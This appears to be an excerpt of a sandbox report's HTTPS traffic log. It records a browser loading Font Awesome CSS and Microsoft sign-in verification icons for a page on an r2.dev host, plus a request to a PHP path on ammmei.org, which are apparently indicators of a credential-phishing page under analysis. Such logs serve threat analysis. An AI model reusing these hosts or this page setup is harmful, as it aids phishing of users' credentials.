2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 7d 0a 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 Data Ascii: lter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1);}.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rota
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 66 61 2d 74 68 2d 6c 61 72 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 39 22 3b 0a 7d 0a 2e 66 61 2d 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 61 22 3b 0a 7d 0a 2e 66 61 2d 74 68 2d 6c 69 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 63 22 3b 0a 7d 0a 2e 66 61 2d 72 65 6d 6f 76 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 64 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 2d 70 Data Ascii: fa-th-large:before { content: "\f009";}.fa-th:before { content: "\f00a";}.fa-th-list:before { content: "\f00b";}.fa-check:before { content: "\f00c";}.fa-remove:before,.fa-close:before,.fa-times:before { content: "\f00d";}.fa-search-p
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 62 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 63 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 64 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 65 22 3b 0a 7d 0a 2e 66 61 2d 70 72 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e Data Ascii: content: "\f029";}.fa-barcode:before { content: "\f02a";}.fa-tag:before { content: "\f02b";}.fa-tags:before { content: "\f02c";}.fa-book:before { content: "\f02d";}.fa-bookmark:before { content: "\f02e";}.fa-print:before { conten
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 2e 66 61 2d 73 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 38 22 3b 0a 7d 0a 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 61 22 3b 0a 7d 0a 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 62 22 3b 0a 7d 0a 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 63 22 3b 0a 7d 0a 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 Data Ascii: .fa-step-backward:before { content: "\f048";}.fa-fast-backward:before { content: "\f049";}.fa-backward:before { content: "\f04a";}.fa-play:before { content: "\f04b";}.fa-pause:before { content: "\f04c";}.fa-stop:before { content: "\f
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 37 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 38 22 3b 0a 7d 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 39 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 61 22 3b 0a 7d 0a 2e 66 61 2d 67 69 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 65 61 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 63 22 3b 0a 7d 0a 2e 66 61 2d 66 69 72 65 3a 62 65 66 6f 72 65 20 Data Ascii: content: "\f067";}.fa-minus:before { content: "\f068";}.fa-asterisk:before { content: "\f069";}.fa-exclamation-circle:before { content: "\f06a";}.fa-gift:before { content: "\f06b";}.fa-leaf:before { content: "\f06c";}.fa-fire:before
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 38 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 39 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 61 22 3b 0a 7d 0a 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 66 Data Ascii: ;}.fa-thumbs-o-up:before { content: "\f087";}.fa-thumbs-o-down:before { content: "\f088";}.fa-star-half:before { content: "\f089";}.fa-heart-o:before { content: "\f08a";}.fa-sign-out:before { content: "\f08b";}.fa-linkedin-square:bef
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 65 6e 74 3a 20 22 5c 66 30 61 36 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 37 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 38 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 39 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 61 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 Data Ascii: ent: "\f0a6";}.fa-hand-o-down:before { content: "\f0a7";}.fa-arrow-circle-left:before { content: "\f0a8";}.fa-arrow-circle-right:before { content: "\f0a9";}.fa-arrow-circle-up:before { content: "\f0aa";}.fa-arrow-circle-down:before { c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	13.107.213.67	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:26 UTC	684	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:26 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:26 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 97cf711a-501e-0057-711f-ad57a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054526Z-16f669959b469glwwn8uuvfzb000000005yg0000000048bp x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:45:26 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	13.107.213.67	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:26 UTC	685	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:26 UTC	785	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:26 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: 3d039a65-001e-0076-2548-aded92000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054526Z-16f669959b4g77mlz21cpx3u7s000000064000000000dm0a x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:45:26 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:26 UTC	359	OUT	GET /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:26 UTC	468	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:26 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Set-Cookie: PHPSESSID=f356707990d0aa74eebadd0bb2c33c77; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:45:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	13.107.213.67	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:26 UTC	701	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:26 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:26 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 254459e3-b01e-000d-275e-ad3a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054526Z-16f669959b4f5hg46qn0sb4crc00000005t0000000001541 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-24 05:45:26 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49751	13.107.246.45	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:30 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:30 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:30 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 97cf711a-501e-0057-711f-ad57a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054530Z-16f669959b4r6dxxt79g2u7s0400000005mg000000004ghf x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-24 05:45:30 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49752	13.107.246.45	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:30 UTC	422	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:30 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:30 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: 3d039a65-001e-0076-2548-aded92000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054530Z-16f669959b4chl9q7kn1bnsxzs000000063g00000000gdyg x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:45:30 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49753	13.107.246.45	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:30 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:30 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:30 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 254459e3-b01e-000d-275e-ad3a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T054530Z-16f669959b46xlpd2mxthqg02400000003w00000000071m4 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
